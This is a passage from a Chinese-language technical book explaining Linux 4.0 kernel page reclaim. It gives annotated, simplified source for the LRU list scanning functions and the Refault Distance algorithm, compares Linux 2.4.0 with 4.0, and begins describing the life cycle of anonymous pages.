93   __mod_zone_page_state(zone, NR_ISOLATED_ANON + file, -nr_taken);
94   spin_unlock_irq(&zone->lru_lock);
95
96   mem_cgroup_uncharge_list(&l_hold);
97   free_hot_cold_page_list(&l_hold, true);
98}

第8~11行代码定义了3个临时链表l_hold、l_active和l_inactive。在操作LRU链表时,有一把保护LRU的spinlock锁zone->lru_lock。isolate_lru_pages()批量地把LRU链表的部分页面先迁移到临时链表中,从而减少加锁的时间。

第16行代码,从lruvec结构返回zone数据结构。

第25行代码,申请zone->lru_lock锁来保护LRU链表操作。

第27行代码,isolate_lru_pages()批量地从LRU链表中分离nr_to_scan个页面到l_hold链表中,这里会根据isolate_mode来考虑一些特殊情况,基本上就是把LRU链表的页面迁移到临时l_hold链表中。

第30行代码,增加zone中的NR_PAGES_SCANNED计数。

第32行代码,增加recent_scanned[]计数,在get_scan_count()计算匿名页面和文件缓存页面分别扫描数量时会用到。

第34~36行代码,增加zone中PGREFILL、NR_LRU_BASE和NR_ISOLATED_ANON计数。

第39~77行代码,扫描临时l_hold链表中的页面,有些页面会添加到l_active中,有些会加入到l_inactive中。第44行代码,如果页面是不可回收的,那么就把它返回到不可回收的LRU链表中。第57~73行代码,page_referenced()函数返回该页最近访问引用pte的个数,返回0表示最近没有被访问过。除了可执行的page cache页面,其他被访问引用的页面(referenced page)为什么都被加入到不活跃链表里,而不是继续待在活跃LRU链表中呢[20]

把最近有访问引用的页面全部都迁移到活跃LRU链表会产生一个比较大的可扩展性问题(scalability problem)。在一个内存很大的系统中,当系统用完了这些空闲内存时,每个页面都会被访问引用到,这种情况下我们不仅没有时间去扫描活跃LRU链表,而且还重新设置访问比特位(referenced bit),而这些信息没有什么用处。所以从Linux 2.6.28开始,扫描活跃链表时会把页面全部都迁移到不活跃链表中。这里只需要清硬件的访问比特位(page_referenced()来完成),当有访问引用时,扫描不活跃LRU链表就迁移回到活跃LRU链表中。

让可执行的page cache页面(mapped executable file pages)继续保存在活跃页表中,在扫描活跃链表期间它们可能再次被访问到,因为LRU链表的扫描顺序是先扫描不活跃链表,然后再扫描活跃链表且扫描不活跃链表的速度要快于活跃链表,因此它们可以获得比较多的时间让用户进程再次访问,从而提高用户进程的交互体验[21]。可执行的页面通常是vma的属性中标记着VM_EXEC,这些页面通常包括可执行的文件和它们链接的库文件等。

第76行代码,如果页面没有被引用,那么加入l_inactive链表。

第89行代码,这里把最近被引用的页面(referenced pages)统计到recent_rotated中,以便在下一次扫描时在get_scan_count()中重新计算匿名页面和文件映射页面LRU链表的扫描比重。

第91~92行代码,把l_inactive和l_active链表的页迁移到LRU相应的链表中。

第97行代码,l_hold链表是剩下的页面,表示可以释放。

下面来看第27行代码中isolate_lru_pages()函数的实现。

[shrink_active_list()->isolate_lru_pages()]

0 static unsigned long isolate_lru_pages(unsigned long nr_to_scan,
1         struct lruvec *lruvec, struct list_head *dst,
2         unsigned long *nr_scanned, struct scan_control *sc,
3         isolate_mode_t mode, enum lru_list lru)
4 {
5    struct list_head *src = &lruvec->lists[lru];
6    unsigned long nr_taken = 0;
7    unsigned long scan;
8 
9    for (scan = 0; scan < nr_to_scan && !list_empty(src); scan++) {
10        struct page *page;
11        int nr_pages;
12
13        page = lru_to_page(src);
14        switch (__isolate_lru_page(page, mode)) {
15        case 0:
16             nr_pages = 1;
18             list_move(&page->lru, dst);
19             nr_taken += nr_pages;
20             break;
21
22        case -EBUSY:
23            /* else it is being freed elsewhere */
24            list_move(&page->lru, src);
25            continue;
26        default:
27            BUG();
28        }
29   }
30   *nr_scanned = scan;
31   return nr_taken;
32}

isolate_lru_pages()用于分离LRU链表中页面的函数。参数nr_to_scan表示在这个链表中扫描页面的个数,lruvec是LRU链表集合,dst是临时存放的链表,nr_scanned是已经扫描的页面的个数,sc是页面回收的控制数据结构struct scan_control,mode是分离LRU的模式。第9~29行代码调用__isolate_lru_page()来分离页面,返回0,则表示分离成功,并且把页面迁移到dst临时链表中。

[shrink_active_list()->isolate_lru_pages()->__isolate_lru_page()]

0 int __isolate_lru_page(struct page *page, isolate_mode_t mode)
1 {
2    int ret = -EINVAL;
3    /* Only take pages on the LRU. */
4    if (!PageLRU(page))
5          return ret;
6 
7    /* Compaction should not handle unevictable pages but CMA can do so */
8    if (PageUnevictable(page) && !(mode & ISOLATE_UNEVICTABLE))
9         return ret;
10
11   ret = -EBUSY;
12   
13   if (mode & (ISOLATE_CLEAN|ISOLATE_ASYNC_MIGRATE)) {
14        /* All the caller can do on PageWriteback is block */
15        if (PageWriteback(page))
16             return ret;
17
18        if (PageDirty(page)) {
19             struct address_space *mapping;
20
21             /* ISOLATE_CLEAN means only clean pages */
22             if (mode & ISOLATE_CLEAN)
23                  return ret;
24
25             mapping = page_mapping(page);
26             if (mapping && !mapping->a_ops->migratepage)
27                  return ret;
28        }
29   }
30
31   if ((mode & ISOLATE_UNMAPPED) && page_mapped(page))
32        return ret;
33
34   if (likely(get_page_unless_zero(page))) {
35         /*
36          * Be careful not to clear PageLRU until after we're
37          * sure the page is not being freed elsewhere -- the
38          * page release code relies on it.
39          */
40         ClearPageLRU(page);
41         ret = 0;
42   }
43
44   return ret;
45}

分离页面有如下4种类型。

第4行代码,判断page是否在LRU链表中。第8行代码,如果page是不可回收的且mode不等于ISOLATE_UNEVICTABLE,则返回-EINVAL。第13~29行代码,分离ISOLATE_CLEAN和ISOLATE_ASYNC_MIGRATE情况的页面。第31行代码,如果mode是ISOLATE_UNMAPPED,但是page有mapped,那么返回-EBUSY。第34行代码,get_page_unless_zero()是为page->_count引用计数加1,并且判断加1之后是否等于0,也就是说,这个page不能是空闲页面,否则返回-EBUSY。

shrink_inactive_list()函数扫描不活跃LRU链表去尝试回收页面,并且返回已经回收的页面的数量。简化后的代码片段如下:

[kswapd()->balance_pgdat()->kswapd_shrink_zone()->shrink_zone()->shrink_lruvec()->shrink_inactive_list()]

0 static unsigned long
1 shrink_inactive_list(unsigned long nr_to_scan, struct lruvec *lruvec,
2             struct scan_control *sc, enum lru_list lru)
3 {
4    LIST_HEAD(page_list);
5    unsigned long nr_scanned;
6    unsigned long nr_reclaimed = 0;
7    unsigned long nr_taken;
8    unsigned long nr_dirty = 0;
9    unsigned long nr_congested = 0;
10   unsigned long nr_unqueued_dirty = 0;
11   unsigned long nr_writeback = 0;
12   unsigned long nr_immediate = 0;
13   isolate_mode_t isolate_mode = 0;
14   int file = is_file_lru(lru);
15   struct zone *zone = lruvec_zone(lruvec);
16   struct zone_reclaim_stat *reclaim_stat = &lruvec->reclaim_stat;
17   
18   lru_add_drain();
19
20   if (!sc->may_unmap)
21         isolate_mode |= ISOLATE_UNMAPPED;
22   if (!sc->may_writepage)
23         isolate_mode |= ISOLATE_CLEAN;
24
25   spin_lock_irq(&zone->lru_lock);
26
27   nr_taken = isolate_lru_pages(nr_to_scan, lruvec, &page_list,
28                     &nr_scanned, sc, isolate_mode, lru);
29   spin_unlock_irq(&zone->lru_lock);
30
31   if (nr_taken == 0)
32        return 0;
33
34   nr_reclaimed = shrink_page_list(&page_list, zone, sc, TTU_UNMAP,
35                &nr_dirty, &nr_unqueued_dirty, &nr_congested,
36                &nr_writeback, &nr_immediate,
37                false);
38
39   spin_lock_irq(&zone->lru_lock);
40
41   reclaim_stat->recent_scanned[file] += nr_taken;
42   putback_inactive_pages(lruvec, &page_list);
43   spin_unlock_irq(&zone->lru_lock);
44   
45   free_hot_cold_page_list(&page_list, true);
46   ...
47   return nr_reclaimed;
48}

第4行代码,初始化一个临时链表page_list,第27行代码,isolate_lru_pages()把不活跃链表的页面分离到临时链表page_list中。第34行代码,shrink_page_list()扫描page_list链表的页面并返回已回收的页面数量。第42行代码,putback_inactive_pages()扫描page_list链表,并把相应的page添加到对应LRU链表中,有些满足释放条件的page,即已经回收的页面将会在第45行代码中被释放。

shrink_page_list()函数很长而且很复杂,对于dirty和writeback的页面会考虑到块设备回写的堵塞问题。为了方便理解这个函数的核心逻辑,去掉关于回写的优化,简化后的代码片段如下:

[kswapd()->balance_pgdat()->kswapd_shrink_zone()->shrink_zone()->shrink_lruvec()->shrink_inactive_list()->shrink_page_list()]

0  static unsigned long shrink_page_list(struct list_head *page_list,
1                        struct zone *zone,
2                        struct scan_control *sc,
3                        enum ttu_flags ttu_flags,
4                        bool force_reclaim)
5  {
6    LIST_HEAD(ret_pages);
7    LIST_HEAD(free_pages);
8    int pgactivate = 0;
9  
10   cond_resched();
11 
12   while (!list_empty(page_list)) {
13       struct address_space *mapping;
14       struct page *page;
15       int may_enter_fs;
16       enum page_references references = PAGEREF_RECLAIM_CLEAN;
17 
18       cond_resched();
19 
20       page = lru_to_page(page_list);
21       list_del(&page->lru);
22 
23       if (!trylock_page(page))
24              goto keep;
25       
26       sc->nr_scanned++;
27       
28       if (!sc->may_unmap && page_mapped(page))
29             goto keep_locked;
30 
31       /* Double the slab pressure for mapped and swapcache pages */
32       if (page_mapped(page) || PageSwapCache(page))
33             sc->nr_scanned++;
34       
35       if (PageWriteback(page)) {
36                SetPageReclaim(page);
37                goto keep_locked;
38       }
39 
40       if (!force_reclaim)
41             references = page_check_references(page, sc);
42 
43       switch (references) {
44       case PAGEREF_ACTIVATE:
45            goto activate_locked;
46       case PAGEREF_KEEP:
47            goto keep_locked;
48       case PAGEREF_RECLAIM:
49       case PAGEREF_RECLAIM_CLEAN:
50          ; /* try to reclaim the page below */
51     }
52 
53     /*
54      * Anonymous process memory has backing store?
55      * Try to allocate it some swap space here.
56      */
57     if (PageAnon(page) && !PageSwapCache(page)) {
58          if (!add_to_swap(page, page_list))
59                goto activate_locked;
60          may_enter_fs = 1;
61 
62          /* Adding to swap updated mapping */
63          mapping = page_mapping(page);
64     }
65 
66     /*
67      * The page is mapped into the page tables of one or more
68      * processes. Try to unmap it here.
69      */
70     if (page_mapped(page) && mapping) {
71          switch (try_to_unmap(page, ttu_flags)) {
72          case SWAP_FAIL:
73               goto activate_locked;
74          case SWAP_AGAIN:
75               goto keep_locked;
76          case SWAP_MLOCK:
77               goto cull_mlocked;
78          case SWAP_SUCCESS:
79               ; /* try to free the page below */
80          }
81     }
82 
83     if (PageDirty(page)) {
84          if (page_is_file_cache(page)&& (!current_is_kswapd() ||
                       !test_bit(ZONE_DIRTY, &zone->flags))) {
85               inc_zone_page_state(page, NR_VMSCAN_IMMEDIATE);
86               SetPageReclaim(page);
87 
88               goto keep_locked;
89          }
90 
91          if (references == PAGEREF_RECLAIM_CLEAN)
92               goto keep_locked;
93          if (!may_enter_fs)
94               goto keep_locked;
95            if (!sc->may_writepage)
96               goto keep_locked;
97 
98            /* Page is dirty, try to write it out here */
99            switch (pageout(page, mapping, sc)) {
100           case PAGE_KEEP:
101                goto keep_locked;
102           case PAGE_ACTIVATE:
103                goto activate_locked;
104           case PAGE_SUCCESS:
105                if (PageWriteback(page))
106                    goto keep;
107                if (PageDirty(page))
108                    goto keep;
109
110                /*
111                 * A synchronous write - probably a ramdisk.  Go
112                 * ahead and try to reclaim the page.
113                 */
114                if (!trylock_page(page))
115                      goto keep;
116                if (PageDirty(page) || PageWriteback(page))
117                      goto keep_locked;
118                mapping = page_mapping(page);
119           case PAGE_CLEAN:
120                ; /* try to free the page below */
121           }
122     }
123
124     if (page_has_private(page)) {
125           if (!try_to_release_page(page, sc->gfp_mask))
126                 goto activate_locked;
127           if (!mapping && page_count(page) == 1) {
128                 unlock_page(page);
129                 if (put_page_testzero(page))
130                       goto free_it;
131                 else {
132                       nr_reclaimed++;
133                       continue;
134                 }
135           }
136     }
137
138     if (!mapping || !__remove_mapping(mapping, page, true))
139         goto keep_locked;
140
141      __clear_page_locked(page);
142free_it:
143      nr_reclaimed++;
144      list_add(&page->lru, &free_pages);
145      continue;
146activate_locked:
147      /* Not a candidate for swapping, so reclaim swap space. */
148      if (PageSwapCache(page) && vm_swap_full())
149           try_to_free_swap(page);
150      SetPageActive(page);
151      pgactivate++;
152keep_locked:
153      unlock_page(page);
154keep:
155      list_add(&page->lru, &ret_pages);
156 }
157     
158 free_hot_cold_page_list(&free_pages, true);
159 list_splice(&ret_pages, page_list);
160 return nr_reclaimed;
161}

第6~7行代码,初始化临时链表。

第12行代码,while循环扫描page_list链表,这个链表的成员都是不活跃页面。

第23行代码,尝试获取page的PG_lock锁,如果获取不成功,那么page将继续保留在不活跃LRU链表中。

第28行代码,判断是否允许回收映射的页面,sc->may_unmap为1,表示允许回收映射的页面。

第35~38行代码,如果page有PG_PageWriteback标志位,说明page正在往磁盘里回写。这时最好让page继续保持在不活跃LRU链表中。考虑到原版的内核代码块设备回写的效率问题,这里的代码片段被简化了[22]。在Linux 3.11之前的内核,很多用户抱怨大文件复制或备份操作会导致系统宕机或应用被swap出去。有时内存短缺的情况下,突然有大量的内存要被回收,而有时应用程序或kswapd线程的CPU占用率长时间为100%。因此,Linux 3.11以后的内核对此进行了优化,对于处于回写状态的页面会做统计,如果shrink_page_list()扫描一轮之后发现有大量处于回写状态的页面,则会设置zone->flag中的ZONE_WRITEBACK标志位。在下一轮扫描时,如果kswapd内核线程还遇到回写页面,那么就认为LRU扫描速度比页面IO回写速度快,这时会强制让kswapd睡眠等待100毫秒(congestion_wait(BLK_RW_ASYNC, HZ/10))。

第41~52行代码,page_check_references()函数计算该页访问引用pte的用户数,并返回page_references的状态。该函数在前文中已经介绍,简单归纳如下。

(1)如果有访问引用pte。

(2)如果没有访问引用pte,则表示可以尝试回收。

第57行代码,!PageSwapCache(page)说明page还没有分配交换空间(swap space),那么调用add_to_swap()函数为其分配交换空间,并且设置该页的标志位PG_swapcache。

第63行代码,page分配了交换空间后,page->mapping指向发生变化,由原来指向匿名页面的anon_vma数据结构变成了交换分区的swapper_spaces。

第70~81行代码,page有多个用户映射(page->_mapcount >= 0)且mapping指向address_space,那么调用try_to_unmap()来解除这些用户映射的PTEs。函数返回SWAP_FAIL,说明解除pte失败,该页将迁移到活跃LRU中。返回SWAP_AGAIN,说明有的pte被漏掉了,保留在不活跃LRU链表中,下一次继续扫描。返回SWAP_SUCCESS,说明已经成功解除了所有PTEs映射了。

第83~122行代码,处理page是dirty的情况。

第124~136行代码,处理page被用于块设备的buffer_head缓存,try_to_release_page()释放buffer_head缓存。

第138行代码,__remove_mapping()尝试分离page->mapping。程序运行到这里,说明page已经完成了大部分回收的工作,首先会妥善处理page的_count引用计数,见page_freeze_refs()函数;其次是分离page->mapping。对于匿名页面,即PG_SwapCache有置位的页面,__delete_from_swap_cache()处理swap cache相关问题。对于page cache,调用__delete_from_page_cache()和mapping->a_ops->freepage()处理相关问题。

第141行代码,清除page的PG_lock锁。

第142行代码,free_it标签处统计已经回收好的页面数量nr_reclaimed,将这些要释放的页面加入free_pages链表中。

第146行代码,activate_locked标签处表示页面不能回收,需要重新返回活跃LRU链表。

第154行代码,keep标签处表示让页面继续保持在不活跃LRU链表中。

如果在LRU链表中,页面被其他的进程释放了,那么LRU链表如何知道页面已经被释放了?

LRU只是一个双向链表,如何保护链表中的成员不被其他内核路径释放是在设计页面回收功能需要考虑的并发问题。在这个过程中,struct page数据结构中的_count引用计数起到重要的作用。

以shrink_active_list()中分离页面到临时链表l_hold为例。

shrink_active_list()
 ->isolate_lru_pages()
      ->page = lru_to_page() 从LRU链表中摘取一个页面
      ->get_page_unless_zero(page) 对page->_count引用计数加1
      ->ClearPageLRU(page)  清除PG_LRU标志位

这样从LRU链表中摘取一个页面时,对该页的page->_count引用计数加1。

把分离好的页面放回LRU链表的情况如下。

shrink_active_list()
 ->move_active_pages_to_lru()
   ->list_move(&page->lru, &lruvec->lists[lru]); 把该页面添加回到LRU链表
   ->put_page_testzero(page)

这里对page->_count计数减1,如果减1等于0,说明这个page已经被其他进程释放了,清除PG_LRU并从LRU链表删除该页。

在学术界和Linux内核社区,页面回收算法的优化一直没有停止过,其中Refault Distance算法在Linux 3.15版本中被加入,作者是社区专家Johannes Weiner[25],该算法目前只针对page cache类型的页面。

如图2.29所示,对于page cache类型的LRU链表来说,有两个链表值得关注,分别是活跃链表和不活跃链表。新产生的page总是加入到不活跃链表的头部,页面回收也总是从不活跃链表的尾部开始回收。不活跃链表的页面第二次访问时会升级(promote)到活跃链表,防止被回收;另一方面如果活跃链表增长太快,那么活跃的页面也会被降级(demote)到不活跃链表中。

图2.29 LRU链表

实际上有一些场景,某些页面经常被访问,但是它们在下一次被访问之前就在不活跃链表中被回收并释放了,那么又必须从存储系统中读取这些page cache页面,这些场景下产生颠簸现象(thrashing)。

当我们观察文件缓存不活跃链表的行为特征时,会发现如下有趣特征。

综合上面的一些行为特征,定义了Refault Distance的概念。第一次访问page cache称为fault,第二次访问该页称为refault。page cache页面第一次被踢出LRU链表并回收(eviction)的时刻称为E,第二次再访问该页的时刻称为R,那么R – E的时间里需要移动的页面个数称为Refault Distance。

把Refault Distance概念再加上第一次读的时刻,可以用一个公式来概括第一次和第二次读之间的距离(read_distance)。

read_distance=nr_inactive+(R-E)

如果page想一直保持在LRU链表中,那么read_distance不应该比内存的大小还长,否则该page永远都会被踢出LRU链表。因此公式可以推导为:

NR_inactive+ (R-E)≤ NR_inactive + NR_active

(R-E)≤NR_active

换句话说,Refault Distance可以理解为不活跃链表的“财政赤字”,如果不活跃链表的长度至少再延长到Refault Distance,那么就可以保证该page cache在第二次读之前不会被踢出LRU链表并释放内存,否则就要把该page cache重新加入活跃链表加以保护,以防内存颠簸。在理想情况下,page cache的平均访问距离要大于不活跃链表,小于总的内存大小。

上述内容讨论了两次读的距离小于等于内存大小的情况,即NR_inactive + (R - E) ≤NR_inactive + NR_active,如果两次读的距离大于内存大小呢?这种特殊情况不是Refault Distance算法能解决的问题,因为它在第二次读时永远已经被踢出LRU链表,因为可以假设第二次读发生在遥远的未来,但谁都无法保证它在LRU链表中。其实Refault Distance算法是为了解决前者,在第二次读时,人为地把page cache添加到活跃链表从而防止该page cache被踢出LRU链表而带来的内存颠簸。

如图2.30所示,T0时刻表示一个page cache第一次访问,这时会调用add_to_page_cache_lru()函数来分配一个shadow用存储zone->inactive_age值,每当有页面被promote到活跃链表时,zone->inactive_age值会加1,每当有页面被踢出不活跃链表时,zone-> inactive_age值也加1。T1时刻表示该页被踢出LRU链表并从LRU链表中回收释放,这时把当前T1时刻的zone->inactive_age的值编码存放到shadow中。T2时刻是该页第二次读,这时要计算Refault Distance,Refault Distance = T2 – T1,如果Refault Distance≤NR_active,说明该page cache极有可能在下一次读时已经被踢出LRU链表,因此要人为地actived该页面并且加入活跃链表中。

图2.30 Refault Distance

上面是Refault Distance算法的全部描述,下面来看代码实现。

(1)在struct zone数据结构中新增一个inactive_age原子变量成员,用于记录文件缓存不活跃链表中的eviction操作和activation操作的计数。

struct zone {
     ...
     /* Evictions & activations on the inactive file list */
     atomic_long_t           inactive_age;
     ...
}

(2)page cache第一次加入不活跃链表时代码如下:

0 int add_to_page_cache_lru(struct page *page, struct address_space *mapping,
1               pgoff_t offset, gfp_t gfp_mask)
2 {
3      void *shadow = NULL;
4      int ret;
5 
6      __set_page_locked(page);
7      ret = __add_to_page_cache_locked(page, mapping, offset,
8                      gfp_mask, &shadow);
9      else {
10          if (shadow && workingset_refault(shadow)) {
11                SetPageActive(page);
12                workingset_activation(page);
13          } else
14               ClearPageActive(page);
15          lru_cache_add(page);
16     }
17     return ret;
18}

page cache第一次加入radix_tree时会分配一个slot来存放inactive_age,这里使用shadow指向slot。因此第一次加入时shadow值为空,还没有Refault Distance,因此加入到不活跃LRU链表。

(3)当在文件缓存不活跃链表里的页面被再一次读取时,会调用mark_page_accessed()函数。

0 void mark_page_accessed(struct page *page)
1 {
2    if (!PageActive(page) && !PageUnevictable(page) &&
3              PageReferenced(page)) {
4          if (PageLRU(page))
5               activate_page(page);
6          else
7               __lru_cache_activate_page(page);
8          ClearPageReferenced(page);
9          if (page_is_file_cache(page))
10              workingset_activation(page);
11    } else if (!PageReferenced(page)) {
12         SetPageReferenced(page);
13    }
14}

第二次读时会调用workingset_activation()函数来增加zone-> ->inactive_age计数。

void workingset_activation(struct page *page)
{
     atomic_long_inc(&page_zone(page)->inactive_age);
}

(4)在不活跃链表末尾的页面会被踢出LRU链表并被释放。

0 static int __remove_mapping(struct address_space *mapping, struct page *page,
1                 bool reclaimed)
2 {
3      spin_lock_irq(&mapping->tree_lock);
4      if (PageSwapCache(page)) {
5           ...
6      } else {
7           void (*freepage)(struct page *);
8           void *shadow = NULL;
9 
10          freepage = mapping->a_ops->freepage;
11          if (reclaimed && page_is_file_cache(page) &&
12               !mapping_exiting(mapping))
13               shadow = workingset_eviction(mapping, page);
14          __delete_from_page_cache(page, shadow);
15          spin_unlock_irq(&mapping->tree_lock);
16          ...
17     }
18     return 1;
19}

在被踢出LRU链时,通过workingset_eviction()函数把当前的zone-> inactive_age计数保存到该页对应的radix_tree的shadow中。

void *workingset_eviction(struct address_space *mapping, struct page *page)
{
     struct zone *zone = page_zone(page);
     unsigned long eviction;

     eviction = atomic_long_inc_return(&zone->inactive_age);
     return pack_shadow(eviction, zone);
}

static void *pack_shadow(unsigned long eviction, struct zone *zone)
{
     eviction = (eviction << NODES_SHIFT) | zone_to_nid(zone);
     eviction = (eviction << ZONES_SHIFT) | zone_idx(zone);
     eviction = (eviction << RADIX_TREE_EXCEPTIONAL_SHIFT);

     return (void *)(eviction | RADIX_TREE_EXCEPTIONAL_ENTRY);
}

shadow值是经过简单编码的。

(5)当page cache第二次读取时,还会调用到add_to_page_cache_lru()函数。第10行代码中的workingset_refault()会计算Refault Distance,并且判断是否需要把page cache加入到活跃链表中,以避免下一次读之前被踢出LRU链表。

0 bool workingset_refault(void *shadow)
1 {
2    unsigned long refault_distance;
3    struct zone *zone;
4 
5    unpack_shadow(shadow, &zone, &refault_distance);
6    inc_zone_state(zone, WORKINGSET_REFAULT);
7 
8    if (refault_distance <= zone_page_state(zone, NR_ACTIVE_FILE)) {
9          inc_zone_state(zone, WORKINGSET_ACTIVATE);
10         return true;
11   }
12   return false;
13}

unpack_shadow()函数只把该page cache之前存放的shadow值重新解码,得出了图中T1时刻的inactive_age值,然后把当前的inactive_age值减去T1,得到Refault Distance。

0 static void unpack_shadow(void *shadow,
1               struct zone **zone,
2               unsigned long *distance)
3 {
4    unsigned long entry = (unsigned long)shadow;
5    unsigned long eviction;
6    unsigned long refault;
7    unsigned long mask;
8    int zid, nid;
9 
10   entry >>= RADIX_TREE_EXCEPTIONAL_SHIFT;
11   zid = entry & ((1UL << ZONES_SHIFT) - 1);
12   entry >>= ZONES_SHIFT;
13   nid = entry & ((1UL << NODES_SHIFT) - 1);
14   entry >>= NODES_SHIFT;
15   eviction = entry;
16
17   *zone = NODE_DATA(nid)->node_zones + zid;
18
19   refault = atomic_long_read(&(*zone)->inactive_age);
20   mask = ~0UL >> (NODES_SHIFT + ZONES_SHIFT +
21           RADIX_TREE_EXCEPTIONAL_SHIFT);
22   *distance = (refault - eviction) & mask;
23}

回到workingset_refault()函数,第5行代码得到refault_distance后继续判断refault_distance是否小于活跃LRU链表的长度,如果是,则说明该页在下一次访问前极有可能会被踢出LRU链表,因此返回true。在add_to_page_cache_lru()函数中调用SetPageActive(page)设置该页的PG_acive标志位并加入到活跃LRU链表中,从而避免第三次访问时该页被踢出LRU链表所产生的内存颠簸。

页面回收是Linux内核内存管理中比较难理解的一部分,因此Linux 4.0内核的页面回收代码仍然基于zone的LRU扫描策略,和页面分配代码(page allocator)搭配产生了复杂的“化学反应”和很多诡异难懂的补丁。通常驱动开发者很少会触及到这部分代码,做系统优化的读者可能会涉及这部分代码。

Linux内核页面回收的示意图如图2.31所示,可以看到一个页面是如何添加到LRU链表的,如何在活跃LRU链表和不活跃LRU链表中移动的,以及如何让一个页面真正回收并被释放的过程。

图2.31 页面回收流程图

笔者在2004年春开始接触Linux内核代码[26],看的第一个内核代码版本是Linux 2.4.0,Linux 2.4.0内核发布于2001年。从2001年的Linux2.4.0到2015年的Linux4.0,14年间,我们的生活发生了翻天覆地的变化。如果2001年在上海购入房产,资产升值超过十几倍。假设你是科技公司的老板,在2001年投资一个团队开发Linux内核,那么14年后,Linux内核是否也有十几倍的性能提升呢?下面来做一个比较,在此不列举实际的数据,有兴趣的读者可以自己去测试,我们只列举在代码实现上的不同之外和改进,如表2.2所示。

表2.2 Linux 2.4.0和Linux 4.0版本比较

比较项目

Linux 2.4.0

Linux 4.0

发布年份

2001年

2015年

LRU链表

1.不区分匿名页面链表和文件映射链表
2.全局的不活跃链表,再细分脏的或者干净的
3.zone中只有活跃链表

匿名页面链表和文件映射链表,再细分成活跃和不活跃

反向映射

1.不支持。需要扫描系统中的所有进程的所有VMA来确定解除用户访问引用pte,效率非常低
2.page结构还没有_mapcount计数

支持反向映射。通过反向映射机制可以快速高效的解除页面所有的用户访问引用pte

扫描LRU链表期间一直持有锁

扫描LRU链表期间使用临时链表,减少锁的粒度

扫描页面
方式

全局,不考虑zone

以zone为单位来考查,注重zone的页面平衡,有watermark概念
扫描方向和分配方向相反

swappiness

不支持

考虑匿名页面LRU和文件LRU之间的平衡关系

堵塞

不支持

考虑页面回写的块设备的堵塞情况

其他优化

不支持

1.只考虑系统有大量访问一次的文件映射
2.优化可执行的page cache,提供用户体验
3.考虑活跃LRU和不活跃LRU的比重关系
4.加入了refault distance算法

下面对本节开头提出的问题做简要回答。

答:分配内存时,当在zone的WMARK_LOW水位分配失败时,会去唤醒kswapd内核线程来回收页面。

答:LRU链表按照先进先出的逻辑,页面首先进入LRU链表头,然后慢慢挪动到链表尾,这有一个老化的过程。另外,page中有PG_reference/PG_active标志位和页表的PTE_YOUNG位来实现第二次机会法。

答:页面在活跃LRU链表,需要从链表头到链表尾的一个老化过程才能迁移到不活跃LRU链表。在不活跃LRU链表中又经过一个老化过程后,首先剔除那些脏页面或者正在回写的页面,然后那些在不活跃LRU链表老化过程中没有被访问引用的页面是最佳的被换出的候选者,具体请看shrink_page_list()函数。

答:从低zone到高zone,和分配页面的方向相反。

答:判断当前内存节点是否处于“生态平衡”,详见pgdat_balanced()函数。另外也考虑扫描优先级priority,需要注意classzone_idx变量。

答:没有swap分区不会扫描匿名页面LRU链表,详见get_scan_count()函数。

答:swappiness用于设置向swap分区写页面的活跃程度,详见get_scan_count()函数。

答:page_check_reference()函数设计了一个简易的过滤那些短时间只访问一次的page cache的过滤器,详见page_check_references()函数。

答:不会,详见shrink_page_list()函数。

答:匿名页面,还有一种特殊情况,是利用shmem机制建立的文件映射,其实也是使用的匿名页面,在内存紧张时,这种页面也会被swap到交换分区。

在阅读本节前请思考如下小问题:

请简述匿名页面的生命周期。在什么情况下会产生匿名页面?在什么条件下会释放匿名页面?

任何事物都有其固定的生命周期,就像一个企业有创立、成长、成熟、衰退等阶段。匿名页面也是有生命周期的,分为诞生、使用、回收、释放等阶段。我们从生命周期的角度来观察匿名页面[27],本章将匿名页面简称为anon_page。

从内核的角度来看,在如下情况下会出现匿名页面。

1.用户空间通过malloc/mmap接口函数来分配内存,在内核空间中发生缺页中断时,do_anonymous_page()会产生匿名页面。

2.发生写时复制。当缺页中断出现写保护错误时,新分配的页面是匿名页面,下面又分两种情况。

(1)do_wp_page()

(2)do_cow_page()

上述这些情况在发生写时复制时会新分配匿名页面。

3.do_swap_page(),从swap分区读回数据时会新分配匿名页面。

4.迁移页面。

以do_anonymous_page()分配一个匿名页面anon_page为例,anon_page刚分配时的状态如下:

    page->_count = 1。
    page->_mapcount = 0。
    设置PG_swapbacked标志位。
    加入LRU_ACTIVE_ANON链表中,并设置PG_lru标志位。
    page->mapping指向VMA中的anon_vma数据结构。

匿名页面在缺页中断中分配完成之后,就建立了进程虚拟地址空间VMA和物理页面的映射关系,用户进程访问虚拟地址即访问到匿名页面的内容。

假设现在系统内存紧张,需要回收一些页面来释放内存。anon_page刚分配时会加入活跃LRU链表(LRU_ACTIVE_ANON)的头部,在经历了活跃LRU链表的一段时间的移动,该anon_page到达活跃LRU链表的尾部,shrink_active_list()函数把该页加入不活跃LRU链表(LRU_INACTIVE_ANON)。

shrink_inactive_list()函数扫描不活跃链表。

(1)第一扫描不活跃链表时,shrink_page_list()->add_to_swap()函数会为该页分配swap分区空间

此时匿名页面的_count、_mapcount和flags的状态如下:

page->_count = 3 (该引用计数增加的地方:1.分配页面;2. 分离页面; 3.add_to_swap())
page->_mapcount = 0
page->flags = [PG_lru | PG_swapbacked | PG_swapcache | PG_dirty | PG_uptodate | PG_locked]

为什么add_to_swap()之后page->_count变成了3呢?因为在分离LRU链表时该引用计数加1了,另外add_to_swap()本身也会让该引用计数加1。

add_to_swap()还会增加若干个page的标志位,PG_swapcache表示该页已经分配了swap空间,PG_dirty表示该页为脏的,稍后需要把内容写回swap分区,PG_uptodate表示该页的数据是有效的。

(2)shrink_page_list()->try_to_unmap()后该匿名页面的状态如下:

page->_count = 2
page->_mapcount = -1

try_to_unmap()函数会通过RMAP反向映射系统去寻找映射该页的所有的VMA和相应的pte,并将这些pte解除映射。因为该页只和父进程建立了映射关系,因此_count和_mapcount都要减1,_mapcount变成-1表示没有PTE映射该页。

(3)shrink_page_list()->pageout()函数把该页写回交换分区,此时匿名页面的状态如下:

page->_count = 2
page->_mapcount = -1
page->flags = [PG_lru | PG_swapbacked | PG_swapcache | PG_uptodate | PG_reclaim | PG_writeback]

pageout()函数的作用如下。

在向swap分区写内容时,kswapd不会一直等到该页面写完成的,所以该页将继续返回到不活跃LRU链表的头部。

(4)第二次扫描不活跃链表。

经历一次不活跃LRU链表的移动过程,从链表头移动到链表尾。如果这时该页还没有写入完成,即PG_writeback标志位还在,那么该页会继续被放回到不活跃LRU链表头,kswapd会继续扫描其他页,从而继续等待写完成。

我们假设第二次扫描不活跃链表时,该页写入swap分区已经完成。Block layer层的回调函数end_swap_bio_write()->end_page_writeback()会完成如下动作。

